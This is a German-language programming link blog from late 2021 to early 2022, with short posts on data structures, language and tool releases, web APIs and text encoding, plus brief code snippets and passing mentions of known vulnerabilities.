Es kommt auch vor, dass man mehrere Level an Bäumen hat, z. B. ein C_2, das irgendwo auf einem anderen Server im Cluster liegt.

nikeee — Wed, 13 Oct 2021 00:00:00 GMT

Typography of “2001: A Space Odyssey”.

nikeee — Thu, 14 Oct 2021 00:00:00 GMT

Ein cooles SQLite fiddle. Läuft komplett im Browser. Kann auch statisch gehostete SQLite-DBs als Quelle nehmen.

nikeee — Mon, 18 Oct 2021 00:00:00 GMT

Python könnte den GIL verlieren. Der GIL steht Python seit langer Zeit im Weg, sinnvoll nutzbares Multithreading zu machen. Deshalb macht man in Python aktuell meist Multi-Processing (oder man parallelisiert innerhalb von C-Extensions, z. B. direkt in numpy).

nikeee — Mon, 18 Oct 2021 00:00:00 GMT

Ein Command-Explorer für Git, der ein tl;dr zu allen Commands gibt.

nikeee — Tue, 19 Oct 2021 00:00:00 GMT

Redis Anti-Patterns.

nikeee — Tue, 19 Oct 2021 00:00:00 GMT

Datenstrukturdienstag: B-Bäume und B+-Bäume (nein, das B steht nicht für "Binary"). Beides selbst-balancierende Suchbäume.

Was ist "Balancierend"? Wenn man einen Baum hat, in dem man Daten sucht, ist die Zeit, die man braucht, um ein Element zu finden, häufig an die Höhe des Baums gebunden. Es ist also von Vorteil, wenn der Baum möglichst niedrig ist. Je nach Baum kann es aber vorkommen, dass es einen langen Pfad gibt, der deutlich länger als die anderen im Baum ist. Sowas ist immer ungünstig, wenn man dann genau eines der Elemente sucht, das sich in diesem langen Pfad befindet. Hierfür hat balanciert man Bäume - d.h. man ordnet die Knoten so um, dass die Blätter des Baums immer in etwa auf der gleichen Höhe hängen. "Selbst-balancierend" heißt hier, dass das nicht ein Prozess ist, der ab und zu mal angestoßen wird, sondern dass die Operationen auf dem Baum (einfügen, Löschen etc.) so definiert sind, dass er sich beim Verändern entsprechend balanciert.

Beide Strukturen werden häufig in Datenbanken und vor allem in Dateisystemen verwendet, z. B. bei NTFS und ext4.

nikeee — Wed, 20 Oct 2021 00:00:00 GMT

Eine kleine Analyse von 425k Favicons.

nikeee — Thu, 21 Oct 2021 00:00:00 GMT

Node.js 17.

Neu:

Support für Intl.DisplayNames
Eine Promise-basierte readline-API:

import * as readline from 'node:readline/promises';
import { stdin as input, stdout as output } from 'process';

const rl = readline.createInterface({ input, output });

const answer = await rl.question('What do you think of Node.js? ');

console.log(`Thank you for your valuable feedback: ${answer}`);

rl.close();

nikeee — Sat, 23 Oct 2021 00:00:00 GMT

Organisationsformen einiger großer IT-Firmen.

nikeee — Sun, 24 Oct 2021 00:00:00 GMT

RFC 3339 vs ISO 8601.

nikeee — Mon, 25 Oct 2021 00:00:00 GMT

Feature comparison of ack, ag, git-grep, GNU grep and ripgrep.

nikeee — Tue, 26 Oct 2021 00:00:00 GMT

CookLang – Recipe Markup Language

nikeee — Tue, 26 Oct 2021 00:00:00 GMT

Datenstrukturdienstag: Mir ist aufgefallen, das ich sehr viele Bäume poste. Heute mal kein Baum, sondern eine verkettete Liste mit einem Trick: Die XOR-Linked-List.

Das ist eine Doppelt-Verkettete-Linked-List. Bei dieser Variante wird an jedem Knoten aber nur ein Pointer für die Prev- bzw. Next-Nodes benötigt. Dieser Pointer ist kein Pointer in dem Sinne, sondern das XOR des Prev- und Next-Pointers.

Das geht, weil man beim Traversieren der Liste ja weiß, von welchem Element man kommt. Man kann deshalb immer die Adresse des nächsten (bzw vorherigen) kNotens ausrechnen, indem man den Pointer, von dem man kommt, mit XOR drauf rechnet.

Warum man diese Struktur in der Praxis nicht wirklich sieht? Das kann man gut an der Sektion "Drawbacks" auf Wikipedia lesen. Naja, und eigentlich ist's jetzt nicht so krass, einen Pointer pro Node einzusparen.

nikeee — Thu, 28 Oct 2021 00:00:00 GMT

Ein ls-Ersatz, geschrieben in Rust: exa

Verwende ich schon etwas länger und hab mich mittlerweile an den bunten Output gewöhnt. Ist leider kein Drop-In-Replacement, da die CLI-Params nicht gleich sind.

nikeee — Thu, 28 Oct 2021 00:00:00 GMT

Open secrets about Hacker News.

nikeee — Thu, 28 Oct 2021 00:00:00 GMT

Ein kleines 2x10-Zellen-Excel. Ist vielleicht ganz praktisch, wenn man etwas schnell ausrechnen muss, man ber kein Excel/Calc zur Hand hat. Ich persönlich nehme dann meistens ein Python- oder Node.js-REPL. Aber manchmal will man ja eher sowas.

nikeee — Thu, 28 Oct 2021 00:00:00 GMT

55GiB/s FizzBuzz

nikeee — Mon, 01 Nov 2021 00:00:00 GMT

Lesetipp: They don't even know the fundamentals

nikeee — Mon, 01 Nov 2021 00:00:00 GMT

Kennt Ihr schon Meta?

nikeee — Tue, 02 Nov 2021 00:00:00 GMT

Datenstrukturdienstag: Der Splay-Tree. Ist von den Zugriffszeiten im Prinzip wie viele andere selbst-balancierte Bäume, aber mit einem Unterschied: Er schreibt auch bei Lesezugriff. So sortiert er häufig zugegriffene Nodes so um, dass sie schneller gefunden werden.

Bei zufälligem Zugriff performt er wie andere Bäume. Aber wenn im Zugriff ein Muster ist, kann seine Optimierung richtig zutrage kommen und wird ggf. schneller als O(log(n)).

Ich wollte diesen Baum mal in Rust implementieren, als Übungsaufgabe. Dann ist mir aufgefallen, dass der echt nicht so geil für alles ist, was mehr als einen Thread hat, da auch Leseoperationen schreibend zugreifen (naja, das war ja auch sein Vorteil). Vielleicht gibt's da eine bessere Variante von, die dieses Problem nicht hat? Vielleicht eine, bei der jeder Thread seine Thread-Local-Kopie hat und nur die "richtigen" schreibenden Operationen synchronisiert werden? Wenn jemand eine Idee hat, her damit!

Wie viele Datenstrukturen ist er schon etwas älter und kommt aus 1985.

nikeee — Wed, 03 Nov 2021 00:00:00 GMT

Ein Stylesheet, mit dem man debuggen kann, was im head-Element möglicherweise für Probleme sorgen kann: ct.css.

nikeee — Wed, 03 Nov 2021 00:00:00 GMT

Bei TypeScript wurde neulich der Pull-Request Control Flow Analysis for Destructured Discriminated Unions gemergt. Das hört sich erstmal kompliziert an, das Prinzip ist aber ganz simpel: Wenn eine Variable aus einem Objekt kommt, und mit der Variable irgendwelche Überprüfungen stattfinden, hat das auch Auswirkungen auf den Typen des Objekts, aus dem die Variable ursprünglich mal kam.

Bisher konnte man den Kontrollfluss auch schon verwenden, um den Typen des Objekts genauer zu spezifizieren. Allerdings musste man dann immer direkt auf das Objekt referenzieren:

type Action =
    | { kind: 'A', payload: number }
    | { kind: 'B', payload: string };

function f11(action: Action) {
    if (action.kind === 'A') {
        // `action.kind` ist 'A', daher ist `action.payload` an dieser Stelle eine number
        action.payload.toFixed();
    }
    if (action.kind === 'B') {
        // `action.kind` ist 'B', daher ist `action.payload` an dieser Stelle ein string
        action.payload.toUpperCase();
    }
}

Das neue aus dem PR ist, dass das Destructuring die Verbindung zur Herkunft nicht verliert. Und das funktioniert jetzt sogar bi-direktional. Also funktioniert jetzt auch das:

type Action =
    | { kind: 'A', payload: number }
    | { kind: 'B', payload: string };

function f11(action: Action) {
    const { kind, payload } = action;
    if (kind === 'A') {
        // `kind` kam aus `action`, daher ist `payload` an dieser Stelle eine number
        payload.toFixed();
    }
    if (kind === 'B') {
        // `kind` kam aus `action`, daher ist `payload` an dieser Stelle ein string
        payload.toUpperCase();
    }
}

Ich will mir garnicht ausmalen, wie komplex die Umsetzung dafür gewesen sein muss.

nikeee — Sat, 06 Nov 2021 00:00:00 GMT

Wir haben alle in der Schule gelernt, dass wenn ein Aufruf von malloc einen Null-Pointer zurückgibt, die Allocation nicht funktioniert hat, z. B. weil kein Speicher mehr vorhanden war.

Das stimmt auch, aber das tritt heutzutage gar nicht mehr auf. Nicht, weil wir so viel Speicher haben. Sondern, weil das Betriebssystem stets sagt "ja, kannst du haben" und erst beim Schreiben auf den Speicher schaut, ob das überhaupt funktioniert. Dieses Prinzip nennt sich "Overcommitment" und ist meist bei unixoiden Systemen anzutreffen. Laut den interessanten Kommentaren auf HN macht NT das nicht.

nikeee — Tue, 09 Nov 2021 00:00:00 GMT

Lesser Known PostgreSQL Features.

nikeee — Tue, 09 Nov 2021 00:00:00 GMT

Go 1.18 kommt mit Generics. Interessant ist auch der built-in Fuzzing-Support.

nikeee — Tue, 09 Nov 2021 00:00:00 GMT

Datenstrukturdienstag: Heute keine "Datenstruktur", eher ein Algorithmus. Aber das ist ja quasi beides das gleiche bzw nicht voneinander zu trennen.

FP-Growth (Frequent-Pattern) kommt zusammen mit dem FP-Tree. Der Algorithmus ist etwas komplizierter. Hier ist noch ein Artikel und ein Video dazu.

Was macht der? Das ist der Algorithmus hinter "Kunden, die X und Y kauften, kauften auch...", also er findet oft zusammen auftretende Einträge. Das macht er sehr effizient, sodass man das auch auf großen Datenmengen (TM) laufen lassen kann.

nikeee — Wed, 10 Nov 2021 00:00:00 GMT

Ich habe heute gelernt, dass man bei npm init einen weiteren Parameter übergeben kann, einen Initializer. Das ist ein Wrapper, der solche Dinge wie create-react-app automatisch ausführt. Ohne den Parameter nennt man das anscheinend "legacy init".

Beispiel: Für ein ESM-kompatibles npm-Projekt macht man dann npm init esm (es wird create-esm ausgeführt).

nikeee — Fri, 12 Nov 2021 00:00:00 GMT

TIL ¥ ist in Japan der de-facto-Directory-Separator, hauptsächlich aus historischen Inkompatibilitäten zwischen ASCII und dem damals verwendeten Encoding in Japan, SHIFT_JIS. Obwohl sie heute UTF-8 nutzen, verwenden sie es weiterhin. Die Geschichten in den Kommentaren sind sehr interessant!

nikeee — Sat, 13 Nov 2021 00:00:00 GMT

Interessanter Post: Why asynchronous Rust doesn't work

nikeee — Sat, 13 Nov 2021 00:00:00 GMT

Bei Git kann man demnächst auch mit dem SSH-Schlüssel signieren.

nikeee — Mon, 15 Nov 2021 00:00:00 GMT

We demonstrate that it is possible to trigger Rowhammer bit flips on all DRAM devices today despite deployed mitigations on commodity off-the-shelf systems with little effort.

Ganzer Artikel.

nikeee — Mon, 15 Nov 2021 00:00:00 GMT

Highlights from Git 2.34.

nikeee — Tue, 16 Nov 2021 00:00:00 GMT

Datenstrukturdienstag: Rot-Schwarz-Baum (oder RB-Tree).

Ist ein selbst-balancierender Suchbaum, der in den meisten Implementierungen einer Map bzw. eines Dictionaries verwendet wird. Beispielsweise ist std::map in den meisten Implementierungen intern ein RB-Tree. Aber auch B-Bäume und AVL-Bäume werden gern verwendet.

nikeee — Thu, 18 Nov 2021 00:00:00 GMT

Es gibt manchmal so Sachen, die findet man und denkt sich "wow, das ist wahrscheinlich so ein Basic-Wissen und ich lerne das erst jetzt kennen". Es ist natürlich normal, dass man Lücken hat.

Heute wollte ich ein einfaches Problem lösen: Ich habe ein paar Dateien archiviert, die ich nicht veränderbar haben will. Da denkt man sich vielleicht: "Gut, einfach chmod -w <datei> und da hat sich das".

Leider ist dem nicht so. Die Datei kann dann zwar nicht mehr geöffnet und verändert werden, aber sie kann weiterhin überschrieben und verschoben werden. Vorher habe ich mir ehrlich gesagt noch nie darüber Gedanken gemacht.

Dieses Problem kann man mit den Unix-Rechten offenbar nicht lösen (wenn doch, schickt mir eine Mail). Stattdessen bin ich relativ schnell auf chattr (Man-Page) gestoßen. Damit kann man, wie der Name auch vermuten lässt, Attribute von Dateien und Ordnern ändern. Der Unterschied ist, dass das ein Feature von Dateisystem ist, das das Dateisystem auch implementieren muss. Außerdem muss es als Root ausgeführt werden, unabhängig vom Besitzer der Datei.

Mein Problem konnte ich letztendlich damit lösen:

sudo chattr -R -V +i <file>

nikeee — Tue, 23 Nov 2021 00:00:00 GMT

TIL es gibt ein IAsyncDisposable, das einfach ein IDisposable ist, dessen Dispose-Methode asynchron ist.

nikeee — Tue, 23 Nov 2021 00:00:00 GMT

Datenstrukturdienstag: Heute wieder keine Datenstruktur, sondern dieses Mal wirklich nur ein Algorithmus bzw. ein Konzept: Die Hilbert-Curve.

Anwendungsfall: Man ordnet einem Punkt (beliebige Dimension, z. B. einem Punkt in einem Bild) einen Punkt auf einer Kurve zu. Man denkt sich jetzt vielleicht "Toll, das kann ich auch. Einfach die einzelnen Zeilen hintereinander legen". Die Hilbert-Kurve hat aber eine besondere Eigenschaft: Punkte, die nah beieinander auf der Kurve waren, sind es auch im Ursprungssystem. Man kann deshalb die Länge (und somit die "Auflösung) erhöhen und die Punkte auf der Hilbert-Kurve verlieren nicht ihren räumlichen Bezug.

Damit kann man z. B. den IPv4-Adressraum schön plotten.

Da gibt es ein sehr gutes Video von einem meiner lieblings-Youtuber zu, 3blue1brown.

Update: Korrektur der Punktposition, nach Hinweis eines Lesers.

nikeee — Wed, 01 Dec 2021 00:00:00 GMT

Empfehlung für einen Webcomic: webcomicname.

nikeee — Tue, 07 Dec 2021 00:00:00 GMT

Illustrated TLS Connection; Every byte explained and reproduced.

nikeee — Tue, 07 Dec 2021 00:00:00 GMT

Datenstrukturdienstag: Die Circular-Linked-List mit Tail-Verweis (statt Head-Referenz). Ist auch die lieblings-Datenstruktur von Anders Hejlsberg, dem C#-Erfinder, die er hier genauer erläutert. Das ganze Interview ist auch ganz interessant.

nikeee — Sun, 12 Dec 2021 00:00:00 GMT

The UX of LEGO Interface Panels.

nikeee — Tue, 14 Dec 2021 00:00:00 GMT

Datenstrukturdienstag: Eher ein Algorithmus: MinHash.

Damit lassen sich zwei Mengen auf Ähnlichkeit prüfen. Das kann man z. B. verwenden, wenn man zwei Wortmengen hat und rausfinden möchte, ob es ungefähr das gleiche ist. Laut Wikipedia wurde das bei AltaVista verwendet, um Duplikate bei den indizierten Webseiten zu vermeiden.

nikeee — Tue, 21 Dec 2021 00:00:00 GMT

Datenstrukturdienstag: In Anlehnung an letzte Woche: Die Levensthein-Distanz.

Ein Maß für die Ähnlichkeit zweiter Strings. Grob gesagt gibt es an, wie viele Tasten man auf der Tastatur drücken muss, um von einem String auf den anderen zu kommen (mit Backspace etc). Es gibt verschiedene Algorithmen, um dieses Maß zu berechnen. Auf Wikipedia ist eine rekursive und eine Matrix-Variante. Sie unterscheiden sich deutlich in der Platzkomplexität.

Verwenden kann man das z. B: für eine Rechtschreibkorrektur. Oder generell, wenn man Nutzereingaben hat und man weiß, dass Nutzer sich genre vertippen.

nikeee — Fri, 24 Dec 2021 00:00:00 GMT

Laptopsticker-Tipp: The world's most hated IT stickers

nikeee — Sun, 26 Dec 2021 00:00:00 GMT

How to write a JIT compiler.

nikeee — Tue, 28 Dec 2021 00:00:00 GMT

Floyds Algorithmus ist auch mehr Algorithmus als Datenstruktur. Er dient dazu, den Anfang eines Zykels in einer verketteten Liste zu finden. Der Zykel kann dabei an einem beliebigen Punkt starten.

Kennengelernt habe ich ihn über diesen Sketch. Dort wird der Algorithmus etwas anders vorgestellt: Zum Finden eines doppelten Eintrags in einem Array. Im Vergleich zu einem Hash-Set bzw. ähnlichen Varianten hat Floyds algorithmus lineare Zeit und konstanten Speicher, also schon echt gut.

In diesem Video wird der Algorithmus noch mal genauer erklärt. Um zu verstehen, was das macht, hab ich das auch mal in Python implementiert und gegen zwei naive Implementierungen getestet. Ergebnis: Das mit dem Speicherverbrauch merkt man sofort -- die lineare Laufzeit kickt nicht so. Vielleicht waren die Daten zu wenig oder ich habe falsch gemessen.

nikeee — Sun, 02 Jan 2022 00:00:00 GMT

A Language Design Analysis of HolyC (das ist die Sprache von TempleOS)

nikeee — Mon, 03 Jan 2022 00:00:00 GMT

27 Unhelpful Facts About Category Theory

nikeee — Thu, 06 Jan 2022 00:00:00 GMT

HTMHell: A collection of bad practices in HTML, copied from real websites.

Beispiel: #32 almost a proper close button

nikeee — Sun, 09 Jan 2022 00:00:00 GMT

Five Tips For a Healthier Postgres Database in the New Year

nikeee — Sun, 09 Jan 2022 00:00:00 GMT

Wie man in OpenGL 1, 3+ und Vulkan ein Dreieck zeichnet.

nikeee — Thu, 20 Jan 2022 00:00:00 GMT

cURL kann jetzt JSON.

nikeee — Fri, 21 Jan 2022 00:00:00 GMT

Bash Pitfalls.

nikeee — Tue, 25 Jan 2022 00:00:00 GMT

Highlights from Git 2.35.

nikeee — Thu, 27 Jan 2022 00:00:00 GMT

Google hat das unbeliebte Projekt FLoC in "Topics" umbenannt.

nikeee — Thu, 27 Jan 2022 00:00:00 GMT

HLI, dass argv[0] NULL sein kann. Hintergrund: Man kann beim Syscall execve einfach {NULL} übergeben. Das wurde jetzt für PolicyKit relevant und endete in "pwnkit".

Dass argv[0] NULL sein kann, haben viele Programme sicherlich nicht auf dem Schirm. Gibt bestimmt auch viele andere betroffene Software.

nikeee — Thu, 27 Jan 2022 00:00:00 GMT

Man kann über den 2. Parameter bei fopen code execution machen.

nikeee — Sat, 29 Jan 2022 00:00:00 GMT

Comparison of C/POSIX standard library implementations for Linux.

nikeee — Sat, 29 Jan 2022 00:00:00 GMT

Bei Node.js-Imports kann man jetzt node: als Protokoll vor ein Paketnamen schreiben, um zu verdeutlichen, dass es ein Node-Builtin-Modul ist.

nikeee — Sun, 30 Jan 2022 00:00:00 GMT

VS Code an overnight success...10 years in the making mit Erich Gamma.

nikeee — Mon, 31 Jan 2022 00:00:00 GMT

Node.js bekommt ein fetch.

nikeee — Mon, 31 Jan 2022 00:00:00 GMT

Habt Ihr UB in einem C++-Programm? Oder Implementation-Defined Behavior (IB)? Vielleicht kennt Ihr den Spruch, dass der Compiler absolut alles machen kann, wenn er UB oder IB findet. GCC startet ggf. ein Spiel.

nikeee — Mon, 31 Jan 2022 00:00:00 GMT

The baseline for web development in 2022.

TL;DR: The baseline for web development in 2022 is: low-spec Android devices in terms of performance, Safari from two years before in terms of Web Standards, and 4G in terms of networks. The web in general is not answering those needs properly, especially in terms of performance where factors such as an over-dependence on JavaScript are hindering our sites’ performance.

nikeee — Mon, 31 Jan 2022 00:00:00 GMT

Vielleicht habt ihr ja gehört, dass GET-Requests schon irgendwie Bodys haben können. Das Verhalten ist jedenfalls irgendwie unspezifiziert.

Aktuell gibt es einen Draft zu einer neuen HTTP-Methode: QUERY. Ziel: Ein GET-Äquivalent mit Body.

Was ist so toll an GET? Semantisch sagt es, dass es keine Veränderung an Daten auslöst bzw. man einen Request mehrfach absetzen kann, und er nichts doppelt macht. Auch toll: Man kann ihn deshalb in Reverse-Proxys cachen.

Das geht mit den anderen Methoden, die einen Body haben (z. B. POST) nicht. Dafür gibt jetzt bald die neue Methode.

nikeee — Thu, 03 Feb 2022 00:00:00 GMT

Das OS vom Raspberry Pi gibt es jetzt in 64 Bit. Für den 3er und 4er.

nikeee — Thu, 03 Feb 2022 00:00:00 GMT

Facebook hat zum ersten Mal Nutzer verloren. Natürlich nicht in ihrer Datenbank, sondern nur in der Anzahl der täglich aktiven Nutzer.

Die Kommentare auf HN sind auch spannend.

nikeee — Sat, 05 Feb 2022 00:00:00 GMT

Was mir bei einer CTF-Challenge gerade aufgefallen ist und wahrscheinlich dort für die Exploitation wichtig ist, ich aber bisher nicht auf dem Schirm hatte:

Bei JavaScripts str.replaceAll(a, b) werden in b Steuerzeichen wie $ interpretiert, auch, wenn a keine RegExp ist:

console.log("a_b_c_d_e".replaceAll("_", "$`"))
// 'aaba_bca_b_cda_b_c_de'

Kommt b also vom User, können damit Werte injiziert werden.

Für mich ist das unerwartetes Verhalten, da für mich nicht offensichtlich ist, dass der replacement-String in jedem Fall interpretiert wird. Gibt es für sowas Linter-Regeln?

nikeee — Mon, 07 Feb 2022 00:00:00 GMT

On finding the average of two unsigned integers without overflow.

Enthält auch eine (ehemalig) patentierte Variante.

Gut gefällt mir auch der untere Part:

Bonus chatter: C++20 adds a std::midpoint function that calculates the average of two values (rounding toward a). Bonus viewing: std::midpoint? How hard could it be? (Vortrag geht eine Stunde)

nikeee — Thu, 10 Feb 2022 00:00:00 GMT

Heute kam eine Folge von DotNetRocks zu 20 Jahren C# mit Anders Hejlsberg.

nikeee — Tue, 15 Feb 2022 00:00:00 GMT

Bei GitHub kann man jetzt Mermaid-Charts in Markdown verwenden.

nikeee — Tue, 15 Feb 2022 00:00:00 GMT

Server-Sent Events: the alternative to WebSockets you should be using.

SSEs sind quasi Ajax-Long-Polling, nur in JS integriert. Lohnt sich also für unidirektionalen Datenfluss.

nikeee — Sun, 20 Feb 2022 00:00:00 GMT

Zu dem Artikel über Server-Sent-Events neulich gibts es noch eine Ergänzung, die ein paar Implikationen darstellt. Der Autor ist bei der HTTP working group bei der IETF.

Auch interessant ist der Verweis auf WebTransport. Das ist ein kommender Standard, der Streams und Datagramme über HTTP/3 laufen lässt. Da HTTP/3 unten drunter das verschlüsselte, UDP-basierte QUIC verwendet, hat man ziemliche Narrenfreiheit, was neue Features verwendet. Vielleicht hätte man technisch gesehen TCP noch anpassen können. Es hat ja reservierte Felder und Verhalten, das man noch spezifizieren könnte. In der Praxis fällt das jedoch weg, da es ganz viele Geräte gibt, die dann den Traffic einfach droppen würden. Das nennt man "Ossification of Protocols". Einer der Kerngründe, warum bei QUIC so viel wie möglich verschlüsselt (und damit nicht für die middle-boxes sichtbar) ist.

Hier eine Demo von WebTransport mit Code.

nikeee — Tue, 22 Feb 2022 00:00:00 GMT

Early peek at C# 11 features.

nikeee — Wed, 23 Feb 2022 00:00:00 GMT

24 Lesser-Known HTML Attributes You May Want to Use.

Die meisten waren schon hier im Blog, aber es ist 'ne schöne Liste.

nikeee — Sat, 26 Feb 2022 00:00:00 GMT

So you want to design a programming language?

Der verlinkte BNF-Editor ist auch schön anzusehen.

nikeee — Sun, 27 Feb 2022 00:00:00 GMT

SQLite 3.38.0 ist da. Neu ist u. a. der JSON-Support, der jetzt per Default eingeschaltet ist. Dazu kamen auch noch JSON-Operatoren, die mit Postgres kompatibel sind.

nikeee — Tue, 01 Mar 2022 00:00:00 GMT

TypeScript 4.6.

nikeee — Fri, 04 Mar 2022 00:00:00 GMT

Who Says C is Simple?

nikeee — Fri, 04 Mar 2022 00:00:00 GMT

Neue Context2D-Canvas-Features. Darunter: Rounded Rectangles und Filter.

Ist alles eine sinnvolle Erweiterung, gibt aber (wie bei Google öfter üblich) nicht mal einen verabschiedeten Standard dafür. Oder einen, der irgendwo offiziell gelistet ist. Die Features sind aber noch hinter dem new-canvas-2d-api-Flag. Ein Google-Mitarbeiter hat Specs/MDN-Drafts bei sich in einem Repo.

nikeee — Sat, 05 Mar 2022 00:00:00 GMT

The Hardest Program I’ve Ever Written.

Geht um einen Formatter für Source Code.

nikeee — Sat, 05 Mar 2022 00:00:00 GMT

Ein Tool für Timestamps. Zeigt einen QR-Code der aktuellen Uhrzeit an.

nikeee — Wed, 09 Mar 2022 00:00:00 GMT

Schaut Euch das mal an.

Ich hatte schon im Blog: SQLite im Browser mit HTTP-Range-Requests, sodass man in einigen Use-Cases ein Backend wegrationalisieren und durch eine statisch gehostete SQLite-Datei ersetzen kann.

Später kam dann darauf basierend ein statisch gehostetes Wikipedia mit Suchfunktion.

Das nächste Level ist jetzt die oben verlinkte Seite: Die SQLite-Datei nicht per HTTP servieren, sondern mit BitTorrent. Was viele nicht wissen: Torrents gehen mittlerweile auch im Browser, über WebRTC. libtorrent unterstützt das auch, damit auch die bekannten Clients wie Deluge.

Was macht man mit so einer dezentralen SQLite-DB? Die Demo ist jedenfalls eine Torrent-Suchmaschine, die Magnet-Links zurückgibt.

Ich bin von dieser Kreativität beeindruckt. Eingedampft hat man hier eine HTML-Seite mit ein bisschen JavaScript, die man statisch hosten kann. Bekommen tut man eine Torrent-Suchmaschine.

nikeee — Wed, 09 Mar 2022 00:00:00 GMT

Intl.NumberFormat .formatRange kann Zahlen- (und auch Währungs-) Ranges formatieren. Auszug aus MDN:

const nf = new Intl.NumberFormat("es-ES", {
  style: "currency",
  currency: "EUR",
  maximumFractionDigits: 0,
});

console.log(nf.formatRange(3, 5); // → "3-5 €"
console.log(nf.formatRange(2.9, 3.1); // → "~3 €"

Wird aber noch von keinem Browser unterstützt (caniuse).

nikeee — Thu, 10 Mar 2022 00:00:00 GMT

Gerade ist dieses Peoposal in meiner Timeline aufgetaucht. Ein Author ist Daniel Rosenwasser, bekannt aus dem TypeScript-Projekt.

Idee: einen Großteil der TS-Syntax in JS aufnehmen, allerdings ohne Typüberprüfung. Die Type-Annotations sollen von der Engine komplett ignoriert werden, ist also an der Stelle ähnlich zu dem Type-Hints aus Python. Nur kann man bei Python noch zur Laufzeit auf die Typen zurückgreifen. Das würde hier auch entfallen.

Als MS mit TypeScript angefangen hat, hätte Anders geäußert, dass statische Typen in der JS-Welt nicht gern gesehen sind - zumindest nicht in der Kernsprache. In dem Proposal ist ein Screenshot aus The-State-Of-JavaScript. Dort wünschten sich die Teilnehmer der Umfrage - mit Abstand - statische Typisierung am meisten. Das sieht für mich aus, als hätte MS da eine ziemliche Erfolgsstory mit TypeScript hingelegt.

Das Proposal wurde nichtmal dem TC39 vorgelegt - es wird also noch sehr lange dauern, sollte etwas in dieser Richtung kommen. Falls es kommt, wäre das ein ziemlicher Game-Changer. Man erspart sich damit, .d.ts-Dateien mit auszuliefern. Da JS dann größtenteils quasi das ist, was TS heute ist, wird TS dadurch deutlich zurück gehen und vorrangig nur noch als Type-Checker für JS dienen. Es würde tatsächlich vieles vereinfachen.

Spannend!

nikeee — Thu, 10 Mar 2022 00:00:00 GMT

Bald könnte eine native Barcode-API für den Browser kommen. Dazu kommt vielleicht auch noch Face-Detection und Text-Detection, läuft alles unter dem Namen ShapeDetection.

nikeee — Sat, 12 Mar 2022 00:00:00 GMT

How to design better APIs. Geht um HTTP-basierte-APIs.

nikeee — Sun, 13 Mar 2022 00:00:00 GMT

Ich sammle gern interessante Poster. Manche sind echt schön für einen Hackerspace oder vergleichbarem. Bin gerade wieder auf dieses gestoßen:

Electronics Everything Reference Poster.
Meine Lieblingssammlung: corkami/pics

Der Ersteller der Postersammlung spricht auch gern mal beim CCC. Er hat auch einen Vortrag über das PDF gemacht (empfehlenswert).

nikeee — Mon, 14 Mar 2022 00:00:00 GMT

MeiliSearch 0.26 ist da.

Ich schreibe das eigentlich nur, weil ich das ein cooles Projekt finde. Die neue Version hat tenant tokens.

nikeee — Tue, 15 Mar 2022 00:00:00 GMT

Go 1.18 ist da.

Neuerungen: Generics und ein any-Keyword für interface{}. Damit sollte quasi jedes Go-Projekt ungefähr um die Hälfte schrumpfen.

Achja, und sie haben jetzt einen Fuzzer, den man für Tests verwenden kann. Hier ein kleines Tutorial.

nikeee — Fri, 18 Mar 2022 00:00:00 GMT

Zig kann Hot-Code-Reloading. Bei VS kam das für C++ erst in VS 2022. .NET kann es auch seit Version 6.

nikeee — Thu, 24 Mar 2022 00:00:00 GMT

Plain Text - Dylan Beattie - NDC Oslo 2021.

Ein richtig guter Talk mit vielen Anekdoten über Text, Text-Encodings, deren Geschichte, Ligaturen, Rendering, Emoji, etc. Ich verlinke Artikel zu diesem Thema wirklich oft, aber dieser Talk fasst sehr viel sehr gut zusammen.

Die Kommentare sind auch interessant. Unter anderem:

There's a text encoding "joke" here in China. The MSVC debugger will initialize any unallocated stack memory to 0xcccccccc, which will translate into GBK codec as "烫烫烫烫" (the GBK codec is a 2-byte encoding system). "烫" means hot. So when the program is hot, it means you're encountering a wildcard pointer.

Eine Anekdote kann ich auch liefern: In Japan is das Standardzeichen für Directory-Separator unter Windows das Zeichen ¥. Das liegt daran, dass das Symbol früher auf deren Code-Page da war, wo eigentlich \\ im Rest der Welt (bzw. da, bei dem, was die Amis verwendet haben) war. Das hat sich so durchgesetzt, dass das in Japan heute noch der "normale" Directory-Separator ist. Und sie verwenden ihn auch, wenn sie E-Mails schicken, in denen sie Geldbeträge nennen. Es kann deshalb auch heute noch vorkommen, dass man dann einen Text wie 1000 \\ zugeschickt bekommt. Oder auch die Windows-CMD zeigt den falschen Directory-Separator an: Why is Windows 10 displaying \ ‎as ‎¥ on the command line?.

nikeee — Tue, 29 Mar 2022 00:00:00 GMT

GPT-3 kann Code ausführen.